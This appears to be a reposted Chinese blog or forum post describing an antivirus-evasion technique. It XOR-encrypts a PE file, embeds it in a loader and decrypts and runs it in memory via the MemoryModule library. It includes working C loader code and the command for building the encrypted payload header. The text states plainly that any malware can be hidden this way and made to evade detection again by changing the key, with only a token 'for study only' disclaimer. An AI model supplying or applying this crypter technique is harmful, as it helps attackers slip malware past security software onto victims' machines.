支持64位系统的XOR加密后内存加载PE绕过杀毒软件

来源:互联网 发布:b站视频 知乎 编辑:程序博客网 时间:2024/06/06 20:38
http://bbs.pediy.com/showthread.php?t=203910
绝对自动支持32、64位的内存加载源码

无聊逛看雪时,看到了这个。
然后到github上找到了源。就是这里:https://github.com/fancycode/MemoryModule

结合我几年前写的一个利用方法:https://github.com/eric21/MemPE

使用方法超级简单:
#include <windows.h> #include <tchar.h> #include <stdio.h> #include <malloc.h> #include "MemoryModule.h" #include "res\a.h" //////////////////////////////////////////////////////////////////////////// int RunForAarray(void) {   HMEMORYMODULE handle;   int result = -1;   for (int i = 0; i < sizeof(aArray); i++)   {     //szArray[i] = ~ szArray[i]; // 取反 ~     aArray[i] = aArray[i] ^ 123; // 异或 ^   }   handle = MemoryLoadLibrary(aArray);   if (handle == NULL)   {     //_tprintf(_T("Can't load library from memory.\n"));     goto exit;   }   result = MemoryCallEntryPoint(handle);   if (result < 0) {     //_tprintf(_T("Could not execute entry point: %d\n"), result);   }   MemoryFreeLibrary(handle); exit:   if (aArray)     free(aArray);   return result; } int main(int argc, char* argv[]) {     return RunForAarray(); }


res目录下a.h文件生成方法:EncryptFile.exe 1.exe a.h aArray 123

生成的加密key和loader的解密key一致即可,这里演示用,均为123

理论上可以通过异或加密后将任意malware保存在loader内,不会被安全软件查杀,解密后加载内存,不会产生文件,只要更换加密key,就可以实现再次免杀。

注意:过不了主动防御。

重要声明:此文章仅供学习交流,请勿用于非法用途!
 支持64位系统的XOR加密后内存加载PE绕过杀毒软件.rar

不知道还有多少人记得我,已经离开安全圈子很多年了,
偶尔回来看看,发现很多人依然在坚持,让我十分佩服。
喜欢研究Malware的同好可以联系我 http://www.eric21.com/about
原创粉丝点击